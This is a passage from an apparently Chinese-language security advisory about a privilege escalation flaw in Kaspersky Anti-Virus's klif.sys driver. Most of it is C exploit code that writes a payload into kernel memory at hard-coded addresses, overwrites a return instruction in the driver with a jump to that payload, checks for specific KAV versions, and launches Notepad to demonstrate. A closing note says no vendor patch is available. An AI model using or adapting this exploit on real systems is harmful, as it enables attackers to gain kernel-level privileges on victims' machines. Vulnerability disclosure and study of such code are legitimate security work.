Kaspersky杀毒软件klif.sys权限提升漏洞

//Prepare our data into ring0-zone.

    PCHAR pNotepadName=(PCHAR)0xBE938200;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    lstrcpy(pNotepadName,temp_buffer);

    PCHAR pMessage=(PCHAR)0xBE938400;

    lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

    memmove(pCodeBase,code,sizeof(code));

    *pJmpAddress=(DWORD)pCodeBase;

    memmove(pKAVRet,jmp_code,sizeof(jmp_code));

    return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

    UCHAR retn_4[]={0xC2,0x04,0x00};

    memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

    UCHAR retn_4[]={0xC2,0x04,0x00};

    __try{

        for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

            if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
                return pKAVRets[i];

        }

    }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not \
installed",NULL,0);return NULL;}


    MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of \
KAV",NULL,0);  return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

    pKAVRet=GetKAVRetAddress();

    if(NULL==pKAVRet)
        return;


    if(!LoadExploitIntoKernelMemory())
        return;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    PROCESS_INFORMATION pi;

    STARTUPINFO si={0};
    si.cb=sizeof(si);

    CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
                        0,NULL,NULL,&si,&pi);

    WaitForSingleObject(pi.hProcess,INFINITE);

    MessageBox(NULL,"Now you may start your own Notepad instance to check this \
exploit!","KAV_EXPLOITER",0);

    MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

    UnloadExploitFromKernelMemory();
}

建议：
-------------------------------------------
厂商补丁：

Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

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